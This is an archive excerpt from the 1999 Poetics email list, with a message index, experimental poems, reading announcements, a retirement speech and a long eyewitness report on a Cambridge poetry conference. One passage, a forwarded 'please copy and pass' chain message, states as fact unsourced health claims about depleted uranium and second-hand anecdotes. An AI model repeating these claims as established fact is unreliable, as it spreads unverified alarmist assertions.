195. Christopher M Devenney — Philadelphia Apt. Avail.
196. Lowther,John — Telic or Not pt.II (for 2 voices)
197. Jacques Debrot — Re: Response to Standard Schaefer
198. Annie Finch — sentimental
199. Billy Little — responsibility
200. Pritchett,Patrick — FW: Cole Swensen reading
201. Lowther,John — Disruption, Parameters etc
202. Christopher Reiner — Series/Mnemonic
203. Poetics List Administration — What does Mr. Pound believe? / Materer
204. Poetics List Administration — Shark #2 / Clark

20 MAY 1999

205. Garrett Kalleberg — Naturalism - TF10
206. Alan Sondheim — Nikuko:
207. Erika Stephens — Long response to Jacques
208. Michael Scharf — Music of Changes
209. travmar03 — Fw: Highwire
210. dbkk — Death of James Broughton
211. Billy Little — responds ability
212. Linda Russo — The Third Voice of Telos
213. Linda Russo — Re: Lyric (s e n t i m e n t a l / which lyric ?)
214. Linda Russo — Re: NOTLEY on "the youth"....
215. Brian Lucas (Kelly Services Inc) — FW: Angle #5 is Available
216. A H Bramhall — poet lariat
217. Randy Prunty — Re: Disruption, Parameters etc
218. P.Standard Schaefer — the basics
219. Billy Little — Re: Death of James Broughton
220. Angela Romagnoli — Re: POETICS Digest - 18 May 1999 to 19 May 1999 (#1999-97)
221. Steven Marks — Review of "26 Islands"
222. Kevin Magee — Re: SUKIE AT THE DIA

21 MAY 1999

223. Ron Silliman — Art projects for trails
224. Stephen Ellis — Re: NOTLEY on
225. Patrick F. Durgin — Arteaga & Notley online
226. Robert Archambeau — ANGEL EXHAUST 17
227. Brian Stefans — A "Defense" of Jacques
228. Annie Finch — coherent feminist poetics/sentimentalitiy
229. Chris Stroffolino — Re: Fw: Highwire and the B.L. SYNDROME
230. Poetry Project — season-end readings
231. Billy Little — gists from the midst/more response
232. derek beaulieu / house press — contact info for peter jaeger?

22 MAY 1999

233. Robert Archambeau — ANGEL EXHAUSTED

234. Elizabeth Fodaski — Torque 6
235. Katherine Lederer — A Spectacular Garden
236. Thomas Bell — Re: Towards emotion & science(Standard, Jacques, etc)
237. Alan Sondheim — The Rebel Girl
238. David Baratier — Towards emotion & science(Standard, Jacques, etc)
239. nora chai — address query

23 MAY 1999

240. Leonard Brink — Keith Waldrop
241. Julie Johnson — call for work for Duration: A journal of international poetry
242. Wendy Kramer — ray johnson & hannah weiner
243. Alan Sondheim — NIKUKO FLOODING, FLOODED (fwd)
244. Erika Stephens — Re: A "Defense" of Jacques

24 MAY 1999

245. Lawrence Upton. — (no subject)
246. Alan Sondheim — Her, through Bethlehem
247. travmar03 — Fw: Highwire Browbeating Reminder: Poetry and Photography
248. Linda Russo — define "institution"
249. Chris Stroffolino — DYLAN B-DAY THOUGHTS OF LUOMA
250. Poetry Project — apt sublet
251. pete spence — Re: contact info for peter jaeger?
252. Jordan Davis — the suck of art

25 MAY 1999

253. Stephen Cope — Query for Caribbeanists?
254. Jena Osman — found poetry
255. Lowther,John — FREE MAGAZINE OFFER
256. Poetics List Administration — beer-related poem contest / Brooklyn Brewery
257. ken|n|ing — Re: the suck of art
258. Billy Little — Re: the suck of art
259. miekal and — Re: found poetry
260. Stephen Ellis — Re: define
261. Jacques Debrot — Re: Found Texts
262. Robin Tremblay-McGaw — Class, Gender and Innovative Poetics
263. Taylor Brady — Re: found poetry
264. Jacques Debrot — Re: E-Mail Nigel Hinshelwood??
265. Kevin Magee — Re: PUTTING THE CARTE BEFORE THE POST
266. Clark D Lunberry — back/words

26 MAY 1999

267. shemurph — contact info for Garrett Caples?
268. rebecca wolff — fence party
269. rebecca wolff — work within the system, it's fun
270. Joe Brennan — Fwd: BUSH'S INTERNET NIGHTMARE CONTINUES
271. jarnot — Brooklyn summer sublet
272. Annie Finch — found poetry
273. Poetry Project — workshops with Larry Fagin
274. David Baptiste Chirot — Re: found poetry
275. Joe Brennan — Muse, censorship, and copyright....
276. Michael Krebs — Re: the suck of art
277. Julie Johnson — Paradigm Press On-Line
278. Poetics List — Howe in NYC / Prevallet
279. Lisa Samuels — Re: found poetry
280. Daniel Kane — source for a Ted Berrigan poem?
281. Joe Brennan — New Summer 1999 FLASHPOINT!!!
282. nuyopoman — Re: POETICS Digest - 24 May 1999 to 25 May 1999 (#1999-101)

283. DEBBIE COMERFORD — SERIAL DIAGRAM

27 MAY 1999

284. Chris Stroffolino — Re: workshops with Chris Stroffolino
285. Linda Russo — name your enemy/was "on Notley"
286. Ron Silliman — Bromige Poem
287. Kevin Magee — Re: CENTURY OF CLOUDS
288. Rachel Loden — it's not the meat, it's the motion
289. Jordan Davis — context judo
290. Lowther,John — Quick Political Scholastic Aptitude Test
291. raea100900 — My Europe Question
292. Ron Silliman — Grey Literature
293. Irving Weiss — Re: found poetry
294. Poetics List Administration — Isidore Ducasse / jesse glass

1. Kevin Magee

Re: "my home" posted 23 Apr

Fri 30 Apr 1999

THANKSGIVING DAY

and ran in the corner store and asked him for the bus fare and he give me the money and a pack of cigarettes

Thanksgiving day was here
this day free to many ways
to make me strong just as Job's story told

when you coming back to pay the dope man all the while sink more and more into a deep black hole went right back to what I had come to know and hated the money and candy stuck and stayed they understood I was decided in every declaration Nathaniel, Ezra and Timothy, Mr Bush at the Corner Store

Howard the Numbers Man, Mr Crenshaw in the corner store
he forced my head against him in his mouth come over and get high, smoke weed, drink pink champagne who would feel the wrath of me next loose in a great big city running wild break the hold that hold he reached down in his back pocket and pulled out his 38

Cornerstore man have some pussy for credit basement of his building

get a hold of bad dope fevered from the abcesses
I used up all my veins cigarettes and dope in the window stick it through the window say gone, or high, I wasn't anything a syringe full of cocaine scrutiny, urine, and buy my double cheeseburgers large strawberry milkshake and large french fries

she had a Bar-B-Q three quarter house for us a house together up into late house

ripping in that take away me right real, and I loved and I loved myself just for that day

show me absolutely No never not for any reason I didn't ask for nor wanted

we went to the landlord house with this book rewrite a book and I drove like a bat out of hell talk with them and calm them down costumed to take residence over everything

there I met a real live dope man and he shot me up at the same time heroin and cocaine and serene and nothing mattered anymore play and night more and just pick up one and we didn't get or have we had a jailhouse marriage that summer and that my mother's father was killed in the coal mines she said to me I'm going to teach you the songs we used to sing way down in the back hills of Birmingham never in my visioned thoughts pondered, many reasons beat at annullable, the damage was done with them to think all alone about how forsake them many people who knew me the only exscape I had from my grip my lifeline during that time or while I was sucking dick drunk jumped in my face calling me names and comes out with her pistol cocked it and shot it in the air

Thanksgiving day was here
this day free to many ways
to make me strong just as Job's story told

I walked out barefoot and it was winter there was plenty snow on the ground and I walked from 79th and Wade Park to 74th and Quincy in the snow

↑ Index

2. Poetry Project week forthcoming
Fri 30 Apr 1999

Lots of special events next week

starting with:

Our last open mike of the season on Monday, May 3rd so if you've been storing it up come on by! Sign-up at 7:30, reading begins at 8 the next open mike isn't until October something

Wednesday, May 5th at 8 pm
Overtime: Reading for Philip Whalen with Jackson Mac Low & Anne Tardos, Charles Bernstein, Ammiel Alcalay, Leslie Scalapino, Ron Padgett, Eileen Myles, Edmund & Anselm Berrigan, Mei-mei Berssenbrugge, Tom Carey, Michael Rothenberg (editor of the book!), Wanda Phipps, and Lewis Warsh.
A reception, wine & cheese, will follow

Thursday, May 6th at 8 pm Later Auden: A Talk by Edward Mendelson
W.H.Auden's literary executor and author of Early Auden, Edward Mendelson will give a talk on the second part of his ongoing biography of Auden, just published by Farrar, Straus & Giroux. Copies of Later Auden will be on sale at the event, which is part of the Bicentennial Celebration of St. Mark's Church (Auden was a parishioner for many years)

Friday, May 7th at 8 pm
New Writers from Saint Ann's School

We need volunteer help for all of these events, so if you're in NYC, and feel like donating a little exercise & generosity, please call us at [redacted]. It'll be much appreciated!

AND NEW ON THE WEBSITE---well, you'll find that out on Tuesday, when we announce new poets & poems, a new feature, new archives, in our bimonthly frenzy of cyber-excitement...

Happy May Day

↑ Index

3. dbkk
SPT summer internship
Fri 30 Apr 1999

Small Press Traffic will be holding its annual manuscript auction/literary soiree the beginning of October. In honor of our 25th anniversary, the soiree will include a large group reading to celebrate the glory of SPT.

We have an openning for a summer intern to work on the soiree. Duties include attending soiree committee meetings, helping to solicit food and auction item donations, bulk mailing invitations, working at the soiree. Very flexible.

Most of our interns have received college credit. Last summer's soiree intern received credit for independent study from SF State.

So, if you're in the Bay Area this summer/early fall and are looking for an opportunity, here's one.

We also can use volunteers for the soiree committee.

Thanks.

Dodie

↑ Index

4. Alan C Golding
Request for Poem Ideas
Fri 30 Apr 1999

Dear Listmates:

I'll be giving a talk at the "Poetry and Pedagogy" symposium at Bard in late June, and am planning to talk about poems that respond to or come out of a pedagogical situation or that take a pedagogical stance. Taking off from the aphorism in My Life that "the avant-garde is always pedagogical," my focus will be mainly--but not exclusively--on linguistically innovative (or whatever you want to call 'em) texts. Historical range is post-World War II, going from 1950s examples like Snodgrass' "April Inventory" and Olson's "Letter for Melville 1951" through something like Snyder's "What you should know to be a Poet" up through some of Howe's library- and scholarship-centered texts and Perelman's

"Marginalization of Poetry." The governing question of the inquiry is something like this, then: How has "pedagogy," and pedagogical institutions, been treated in poems of this period, and what might the answers to that question suggest for transforming current pedagogical practice, for the teaching of challenging contemporary work, and for our understanding of such issues as the relationship between innovative writing and the academy?

I'd like to draw on your collective knowledge / wisdom to generate as many examples as possible of poems related to this set of concerns. I'm mostly interested in U.S. examples, but would also like to hear about Canadian, British, Oz, etc. examples too. I want to distinguish between "pedagogical" and "didactic" too, so am a bit less interested in examples of the latter (i.e., Olson preaching to Gloucester, say).

Anyway, I'd much appreciate hearing from you: front channel if you think the list would be interested and the list-meisters agree, or backchannel at one of these addresses: [redacted] or [redacted].

And many thanks.

All best,

Alan

Alan Golding
University of Louisville

[redacted]

↑ Index

5. George Bowering

Re: book announcement

Fri 30 Apr 1999

> i'll 2nd david baratier's notion, and qualify rachel loden's note on design elements: her _the last campaign_ is not just another pretty poetry book---it's a great read!...
>
> best,
>
> joe

I'll third that motion. I read each poem 4 times and that makes a lovely thick book.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

6. Simon DeDeo
Jan Zwicky
Sat 1 May 1999

Dear listfolk --

The upcoming Harvard Review of Philosophy (which, for better or for worse, I'm editing), is coming out with a long poem by the Canadian poet Jan Zwicky. We will have a few copies left over after we mail, so if any Poetics folk would like a copy, backchannel (but soon; we're bulk mailing in two weeks.)

In the same breath, if anybody would like information about the review (submissions, etc.), drop me a line here or at [redacted]. We publish yearly on a wide range of material, making an end run from phil of mathematics back around to aesthetics.

-- Simon
[redacted]
http://www.fas.harvard.edu/~sdedeo

↑ Index

7. Rebecca Wolff
Re: STUCK IN SELF-PROMO WITH YOU
Sat 1 May 1999

---

what time, Chris . . . .?

↑ Index

8. Billy Little trance, late
Sat 1 May 1999

---

the canned toes of ezra pound

sat in little mason jars beside the cash register of the gem spa
one toe (inflated with collagen) per yellow translucent wire hinged rubber gaskets jar dozens of them

left there for a giggle
by a wicked blackburn flask drained on his way for a pizzle forty years earlier

left four of them originally thats all he had but soon enough others left toes in their wills Armand Schwerner being the latest left two BIG toes they called them all ezra pounds toes and nobody knew which were the original four the toes pound lost tenting in the pisan winter the pisan canned toes

but i knew pounds toes stank difference they were gleaner bluer

i generally put them one by one under my tongue and suck them like a toffee
like a limburger toffee a toe jam toffee
at the beginning of my shift before i make a single egg creme

it's just like lsd
i love everyone i see a god in them
don't know WITch

wikkad which tadakemas namaste

never swallowed the god
'spickled toes
put them back in the brine for the next shift

the future happiness of the other cashier who once pretended to be affrican
++++++++++++++++++++++

daddy's got cancel goes for irritation therapy

emptiness the beginning colon-ization=drowned in shit, shat upon, shoot, shot

it's just an isotope
it eats our cantelope
they keep me swinging at a plutonium ball and i'm getting scold so called and i'm gettin 'scalled plutonium balled ballad plutonium bullet ballot plutonium bottle ballet plutonium battle wallet plutonium william butler plutonium peanut butler yeats plutonium shelley bellies plutonium Smart balm plutonium patchen salve

they say that serbs are born with teeth and albanians are born with pliars they each know better liars butterflyers haven't herd a badder1 this week be stihl meinhart

fails further scrutiny poetry inspector rules ixnay only meets three out of five requirements not a poem another travesty report to the meatgrinder

the knifesharpener
the plutonium knife
the microwave butter glowing toast to the mutants

i want to be in that number when the demons go marching in in that number when the ghosts go shrieking in
i want to be in that number when the ghosts are phreakin

no peekin
cast your eyes from this wikkadness my friend it can only add this dress to your discomfort Endall CORNFUSION 4git D alphabet close your eyes make new hordes war horsehair whores hath wrote ywrot
-ik saylaysh Us ggggggrrrrafffikkkkkkk 7penny tales
bang in weirden wyrrds
jerkin on da jane gang gnewed whirleds seven consonant whirleds oh shun worlds is land whirls overworlds suspended invalid command forbidden puff jobs for nazis night skunkwerlds vote for goatzzzzz flee speech knight
See King, the holey jail Dream King Dream
the doorless washers sans Windows
saluters sans Stolichnaya can't blame ya

dasvadenya tovarichita aufwiedersein

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

9. Peter Quartermain

Bedight and fillyness

Sat 1 May 1999

(Apologies for cross-posting, but) For those who might be interested, here is what I said yesterday at the University of British Columbia English Department's alcohol-free (not, then, free alcohol) retirement party, held to mark my retirement from this sad profession.

Peter

SPITCH

What are you supposed to say in a retirement speech? I've been looking forward to this one for thirty-seven years, and I can't resist this final dress rehearsal, this final tryout of the role every faculty member lusts for: This is the Must of an old fart. For you are my last captive audience; this is MY last captive occasion (at least here), and I'm going to gloat. I promise not to take more than half an hour.

What WILL you do with yourself, people have been asking. What'll you miss? Well, more than anything I'll miss the secretarial staff; they really are the saints the Pope should elevate; they keep this place together, and they keep us -- more or less -- sane, or at least functional. I shall indeed miss them, and say thankyou with all my heart.

What else will I miss? Well, I'm going to SHED (at least I hope I am) that habit of mind which over the years creeps up on those who escaped it in graduate school, a habit of mind which deftly, and with acute unconscious accuracy, allegorizes the place of the humanities in our culture by housing them in the Buchanan Tower, whose brutally assertive phallic exterior encases a stifling colourless rigidity.

I'm going to miss a university administration whose most generous acts it can think of on your retirement are to give you free parking when you no longer need it, and a library card for a spanking brand new library whose collection is justifiably celebrated, and whose custodians are so besotted with computers that it now takes thirty minutes to find what you used to find in thirty seconds in the card catalogue.

I'm going to miss students, that astonishing company of the young. But if I should miss them too much, then I shall think of the diligent gravity of the undergraduate essay which carefully tells me in an essay on _Great_Expectations_ that > Being approached by escaped convicts while visiting one's parents' grave must have been very scary. Magwitch hung Pip upsidown and backed him up against a grave stone so he was unable to keep upright. He told Pip to get him a file and widdle.

What demons possess us that we divorce the young from their language? that we terrorize those who write DON'T or COULDN'T in an essay, or who use the first person, or end a sentence with a preposition.

And there's the earnest intellectualism of the graduate student who, old before her time, in her first published article gravely tells us that

> Lise Melhorn-Boe "uses the book form to create an accessible site of interface between the voices in the text and the reader."

Where DOES this come from? What fear in THERE of gusto and of lustiness, of excitement in the life of words, of bluntness and simplicity, of LOVE. How is it that willy-nilly we foster such pretentious codswallop.

What we do to the language, we do to ourselves. We need a gross of munacy in our surds, spadness in our weech, bedight and fillyness in the crassloom. Laughter instead of slaughter. We bleed to declare -- and this is amather nutter -- we need to beware the sour we all field, our tower to hulverize and scarrifiate those who crust angrobiliac and furopentric impristities, for we absquatify ourselves as well as crudents in the blame of expidulous bloatocols of so-called lollarship and spurning.

What an engridulating blatisfaction it has been to crotch the anxious sob-candidate who stabled moetry as Puff in his lob-jecture and was farsequently sub-sighted for his enquasiasm during question prime. There is great puffty in a fullying pubillanimity which prebends the bluedent from confussing "I don't know" in an essay. I have been what I have seen. To tosh a body's tender, slakes the burst for flood.

How we need an infibulating ambifallity, and how gradulous if we cannot see the pun in inTER disciplinarity. Injell-iter-liberty is the fast confuge of the depressive Absolute. Grammar masks a military practice. And me? Well, I'm OUT of this bloody army, so I gloat.

Whoop de do.

+ + + +

thursday ONLY...
xox camille

Reading:
David larsen and chris vitiello

Thursday, May 6, 1999

San Francisco-On Thursday, May 6, New Langton Arts presents two dynamic and upcoming writers, David Larsen and Chris Vitiello. The reading begins at 8:00 pm. Tickets are $6 general and $4 for students, seniors, and Langton members. The reading is held in Langton's theater at 1246 Folsom Street (between 8th and 9th streets) in San Francisco. For advance purchase, reservations, or more information, please call [redacted].

David Larsen first came to the Bay Area from Southern California ten years ago to attend the University of California at Berkeley, where he is now a PhD. candidate in Comparative Literature. His self-published efforts include Ice Devil, Stooper, Stoner, Famous Mouth Breathers, Twice Tolled Bells (with Raymond Pettibon), and the upcoming Porches of the Holy. He is the cover artist for Katherine Lederer's Explosive Magazine, now in its seventh issue. Larsen will be reading Twilit Summer, a selection from his seven volume series Sepia, a group of hand-made books about baseball, surfing, pop music, oblivion, and trauma.

Durham, North Carolina resident Chris Vitiello has published work in many small magazines including Chain, Tinfish, and Open 24 Hours. Forthcoming books in 1999 include Nouns Swarm A Verb (Xurban) and Monica and Clinton:
An Unauthorized Impeachment (7 bumps). Vitiello will be performing A Short History of What Your Eyes Does, a work involving spoken and written text, projections, and assorted light-emitting machines. Audience members will be taught how to properly use their eyes and brains in order to become contributing members of society. "Physician's permission is recommended, as conventional physics may be disproven or suspended."

TICKET INFORMATION

*$6 general / $4 students, seniors, and Langton members
*Tickets go on sale at 7:00 pm
*Advance reservations are recommended

*Advance purchases with Visa or Mastercard available by phone or in person
($1 service fee per ticket)
*For reservations, advance purchase, or more information, please call 415
[redacted]

--
&&&

effects of war, of course, are always present for generations, regardless of whether the weaponry is nuclear or not. But the deformities are usually psychic and societal, not physical as they shall be in this case if indeed we are nuking Yugoslavia.

http://www.cogreslab.demon.co.uk/WEBDU.htm

and http://www.fas.org/man/dod-101/ops/docs99/990406-kosovo-du.htm

are reputable information sources that suggest A LOW LEVEL NUCLEAR ACTION might be going on in Yugoslavia.

But no one seems to be saying for sure,
at this point.

Those with IE may want to have a look at the military videos available

at http://www.miltoxproj.org/videos.html.
They are strangely optimistic about our ability to manage the sort of large scale radiological pollution that could be occuring now.

PLEASE COPY AND PASS.

Dear Friend,

Yes. The depleted uranium metals are being used in the "tank killers" i.e.
metals that are heavy enough to pierce armored vechicles, tanks and such...
Not probably being used...Being Used.
Also, the effects are physical..i.e..children of gulf war victims being born without eyes, limbs etc.

Friend of mines husband died last winter

in Washington. His job in the gulf war was disarming mines, and eco clean up.

When they questioned the veterans administration, and the military, they were told that there was no evidence that uranium caused the rare form of cancer that killed him eventually, and also, if they talked about it, they would be prosecuted to the fullest extent of the law for revealing information that was threatening to national security.

"There is no path to Peace. Peace is the path." Gandhi

↑ Index

12. Harold Teichman

Eyewitness Report--Cambridge Conference of Contemporary Poetry

Sun 2 May 1999

I attended (with my wife) the ninth CCCP, held at Trinity College on 23-25 April, organized by Rod Mengham, Kevin Nolan, Ian Patterson and Peter Riley. What follows amounts chiefly to first impressions, since I was unfamiliar with the work of all the readers except Michael Palmer before the conference, but a somewhat naïve and ‘other’ look at a perhaps sometimes too self-congratulatory avant-garde may have a modest value, so I continue.

It was hard to avoid invidious comparison with the Barnard conference of two weeks earlier, the only part of which I was able to attend, regrettably, was on Saturday from lunch on—the readings there, in New York, by Armantrout and Mullen were galvanizing, not to mention Perloff’s slightly incendiary paper. The Cambridge conference was, by contrast, a most odd, uneven and apparently insular affair, thankfully enlivened by its French Connection:

(1) The roster of readers might have been the work of Monty Python or David Lodge—and there were no overlap sessions, so one had a choice of only one reader at any given time. There was no discernible overall aesthetic (maybe not such a bad thing). There wasn’t much obvious questioning of the subjective ‘I’ in evidence, nor was there any Marxism on display. A few poets seemed to have been included simply because they had connections with Cambridge. I had expected heavy attendance from the pages of the ‘Other’ and ‘Chaos’ anthologies, but most of those anthologized, even some who live in Cambridge, seemed to give it a miss. Maybe someone (Ric Caddel?) on the List can fill me in on the cultural politics here.

(2) The University was at best an indifferent host. I was lucky to be overheard by a helpful French lector in the know, Vincent Ferre, when I asked directions to the opening reading on Friday night, or I might have had a very hard time finding it. The first and last readings took place in the Old Combination Room (OCR), a fairly large old reception hall with portraits of Newtonian bewigged gentlemen on the walls, where the acoustics were so-so, there was no miking and the entry door was heavy and loud. As the chairs for the first night's reading had been removed at the last minute by the College, people had to scramble for seats in sofas along the walls. Poor Michel Deguy, the 'guest of honour' of the conference, had to hunker scowling and uncomfortable on a low table, listening to a barely audible reading in English by the very gentle and soft-spoken Lee Harwood. The remaining readings were in the pleasant, modern Winstanley lecture hall.

(3) The French visitors to this conference must have viewed much of the proceedings with bemused perplexity. Philippe Beck, whose journal 'Quaderno' was feted, gamely sat through the whole thing (as did I). With the exception of Michael Palmer, who is well known to be 'sited' within a Venn intersection of the two literatures, the anglophone and francophone poets here might have come from different planets. There was no public discussion of this yawning gap. A panel discussion on this point was sorely missed. (Aside: Why is it that the major French figures known in the English-speaking innovative world seem much less interested in dense post-Steinian word-salad than some of their anglophone counterparts?)

(4) This was a notably unfriendly and clannish (dare I say cliquish?) small gathering (about 30 or so people most of the time). The only people with any interest in talking to me, a nobody and an American, when approached (with the exception of Peter Riley, a genuinely nice chap) were not English: Vincent Ferre, Michael Palmer and Stephen Rodefer. There was a lot of shifty avoidance of eye contact and haughty gliding or lounging about, even though we were closeted together. So much for human relations after the Poetry Revolution. There was also a somewhat laddish, old-boys-club, brilliant-amateur atmosphere to the whole thing, despite the inclusion of a few women readers, which seemed typically English to me. The order of speakers kept having to be rearranged, with a few substitutions as well.

The highlights (for me) were (in no particular order): Michael Palmer, Christian Prigent, and Michel Deguy, though there were many other moments of interest. A few panel discussions or presentations of papers might have broken up the readings effectively and generated more public discussions (of which there were none).

The readings (first impressions from sketchy notes):

Lee Harwood, an infinitely gentle, thin and slightly stooped figure, opened the readings with some poems from his latest book, 'Morning Light'. He mentioned that he's worked as a museum guard, and invoked the names of Anne Stevenson and Wordsworth in his inter-poem musings. He makes small jabbing karate-chop gestures to accentuate the frequent silence-beats between phrases, producing quietly staccato rhythms. His poems seem imagist, roughly, consisting of sequences of impressions and thoughts, often anchored in a place, with sometimes just a little too much explanation for the reader (like Wordsworth?) Maybe a bit of a New York school influence? Not very pomo, certainly. A curious choice for the opening of this conference, I thought.

Next morning, Michael Ayres, a local Cambridge poet, began the day. His reading was quite moving, though again scarcely modernist let alone pomo, being first-personal, elegiac and deeply mourning. The first text kept repeating, effectively, the phrase 'a great calm descends'. I was reminded at first, at the level of the phrase unit, of du Bouchet, but his (long) poems are constructed much more conventionally than du Bouchet's, so that likeness won't really hold —he's not afraid of a bit of sententiousness, either.

He was immediately followed by Andy Johnson, a Cambridge graduate who has spent some time in Africa. Johnson is a much louder personality than the first two readers, younger, eschewing the mic, and with the bearing of a standup comedian. He read short untitled poems, punchily and with gusto. They struck me as a bit wordy and baroque, in a sort of English-bravura clever-clever LangPo manner. One was a pastiche of descriptions of an Etruscan tomb, sort of. The ironic tone failed to find any purchase—this coming after Ayres's expression of personal loss was almost offensive.

Stephen Rodefer read very briefly as a substitute for Andres Ajens, whose English translations were still in preparation. His manner was offhand and funny. There was a poem for Pierre Alferi. I was intrigued and wanted to hear more from him, but he wanted to go to lunch.

After lunch we had another oddly matched trio. Ralph Hawkins began working the crowd in good vaudevillian form. He looks like a middle-aged businessman, but often sports a boho erotic scatological chinoiserie persona in his mostly comic poems, coming from a recent Equipage booklet. A sort of English blend of Frank O'Hara, Gary Snyder and Benny Hill. The occasional snicker from the usually fairly impassive audience.

Next up was the disarming Bob Walker, who caused some impatient squirming with his very amateurish and breathy flute solo, with which he opened the ‘set’. He said this was the first reading he’d given in 25 years and that he shares an interest with Ralph Hawkins in Mallarme and pigs. His poems were lyrical and thoughtful, perhaps in a somewhat discursive Poundian mode. The conference notes state that he teaches Japanese in the midlands, but he modestly depreciated his knowledge of Asian languages, though he drew the characters of a haiku on the blackboard for us, and explained the meaning of an ideograph on a drinking mug: hara kiri. He ended by sitting down at the piano and singing, again amateurishly, a sort of Donovanesque Heraclitean blues. Curiously, I found him a welcome break from the morning’s earlier performing-Brit tone.

Allen Fisher, who was not scheduled, and who was introduced as ‘one of the most important Cambridge poets of the last thirty years’, favoured us with a quick reading in sepulchral tones of two of his recent ‘sonnets’, which sounded to me like much of the homophonic translation I’ve read, so maybe that’s how they were produced. They were studded with terms from modern physics and astrophysics, as if pillaged from Cambridge’s own Stephen Hawking, but betrayed no obvious understanding of them. He was dressed all in black, wore a very sour expression, and has refined the Disdainful Donnish manner to perfection.

The four o’clock session brought a welcome pair of female voices. Andrea Brady from Philadelphia, now resident in Cambridge as a researcher in 17th century lit, was introduced as a very bright star on the horizon. I’m sorry to say that her work seemed callow to me, a by-the-numbers post-LangPo exercise, so I won’t say any more about it.

Things finally began to come alive with Lisa Robertson’s reading. Her book ‘Debbie’ was described in the introduction as ‘one of the most dazzlingly virtuosic texts of its epoch’ and maybe that was almost deserved—I wanted to buy a copy, but they were sold out. Her work reminded me a little of Armantrout’s, somehow always hinting at the sardonic, but more verbose and open. She reads in a somewhat flat, staccato but mesmerizing manner, constantly pulling you back into the text almost in spite of yourself. She seems capable of endless speech-production without any need for a glass of water. A long section concerned the weather, with much parallelism and near-repetition in construction and many I-sentences. A high point.

Michael Palmer began the evening session, reading from a new MS, I believe, called ‘Promises of Glass’. I had heard him read in the recording accompanying the ‘Exact Change Yearbook’, but had never seen him in person before. He is a more quietly spellbinding reader than that recording would have led me to guess. He also spoke extemporaneously, with unaffected casual intelligence, about some of the occasions of the poems he read, and it was interesting that what can sound like very abstract linguistic meditative lyric is often occasioned by or dedicated to a particular acquaintance or place, with affection. One poem even contained some narrative bits. Another made much play with the phrase 'the book of…', and there were a lot of phrases with formally opposed elements. A real breath of fresh air in the day's proceedings, and a reading I won't forget.

Thank God for the French. Oscarine Bosquet was scheduled to read here, but she was unable to owing to illness, and Philippe Beck filled in. He read a (prose?) meditation on Celan's Meridian speech called 'Meduse automatique stoppee', I think, which bears in on the figure of the puppet/automaton/Pinocchio. Kevin Nolan supplied the English, if I recall. Then he read some short poems intended for a woman's voice, and the English was handled by Andrea Brady. Like some of Michel Deguy's work later, these were partly poems about poetry; at one point lineation was called 'bovine furrows' and a phrase I jotted down was '…philosophy is a closure without electric wires'.

Now came the apotheosis of the day's earlier quirkiness, with a very rare antipodean appearance by the exotic Australian creature Robert Adamson, who has the manner of the last surviving individual of an extinct species. He was introduced as never having left Australia before and as a good friend of Duncan and, latterly and epistolarily, of Michael Palmer. He lives on a river near Sydney, and his poems are awash with piquant riverine flora and fauna which are the proximate causes of unembarrassed old-fashioned epiphanies, as are the many particular poets and singers enthusiastically mentioned in his lines, including Hopkins, Larkin, Duncan, Les Murray, Bob Dylan and Emmylou Harris. Now this was a Bard. There was a poem dedicated to Kinsella, and one about Language Poetry called 'Approaching Zukofsky' that depicts LangPo as an Aussie nature preserve: 'we sang parrot…'. What could the French have made of this chipper but quaver-voiced apparition?

Next morning the rescheduled Andres Ajens, from Chile, read his polyglot poems, which are mostly in Spanish and French. A very soft shy voice, and he refused to use the mic. This work was in a familiar lyrical South American mode, as far as I could tell, but possibly quite strong. I think there was a Celan reference, 'mit dem Sternwuerfel', buried in one.

Christophe Tarkos, who looks very much the young café poet, a bit rumpled, stubbled and bleary-eyed, read his interesting faux-naif poems next with a rather bored quick delivery. They are long and associative, though without a well-defined subjective voice, consisting of layered short phrases and simple declarative sentences (too connected to be called New Sentences) with a mock, spaced-out sententiousness, rather like a lobotomized or Antin-ized Ponge. One was a sustained collocation of assertions about the appearance, behaviour and oblique sensuality of small children and clouds, as if it were automatic writing at the park bench.

Next another high point: Christian Prigent's extraordinary performance. A small, casually dressed but natty man sits down at the table, without a microphone, squares up his papers before him with precise motions, bends down over the papers to read, and …becomes possessed, chuffing and wheezing, powerfully, like a locomotive/oracle, as if only this rhythm can force the words out, attacking the language, inhabiting it, gutting cliches, quoting, misquoting, ranting, climaxing and decrescendoing, almost sobbing. One piece focused on the word 'orgasme', another on 'ma mere'. This was a hard act to follow, so it was good we broke for a musical interlude at this point.

The improvisational bass/cello/harp trio Simon Fell & IST did a set, first pure music, then some collaborations with the poets. We missed the latter, opting for some fresh air, still digesting Prigent's work. The trio like to employ their stringed instruments strictly as percussion instruments, and there was considerable virtuosity on display.

The closing session in the evening took place again in the less than ideal OCR, this time with chairs, and featured Michel Deguy, whose work had been translated in collaboration with him during the preceding week by three students, quite a privilege for them, and a very nice touch. His work has a neoclassical, philosophically discursive quality that is hard to assimilate on first hearing. His voice is resonant and beautiful, and he radiates a grand-old-man dignity (Discourse of Authority!). Again, some panel discussion here of his place in French letters would have been nice.

Erin Moure had the perhaps unenviable task of closing the proceedings, which she did with great aplomb. She has her own confident standup manner, the book drooping insouciantly from her hand like a cigarette from Keith Richard's mouth, reading quickly in spurts and pausing to look at the audience like a comedian, sometimes veering into French without blinking an eye. Her work is chatty and eclectic, swooping from formal to informal, sharp, funny, ranging over a wide field perceptually, emotionally, politically and intellectually. Peter Riley made the telling comment introducing her that while she is modestly feted in Canada, in England she would still be publishing in mimeograph.

Despite my various cavils, I would like to thank the organizers, especially Peter Riley, for putting together an (at least sometimes) very stimulating and certainly various show, and the poets for having the guts to get up there and read.

Harold Teichman

↑ Index

13. Alan Sondheim
WRITING ON AMERICA
Sun 2 May 1999

\\\

WRITING ON AMERICA

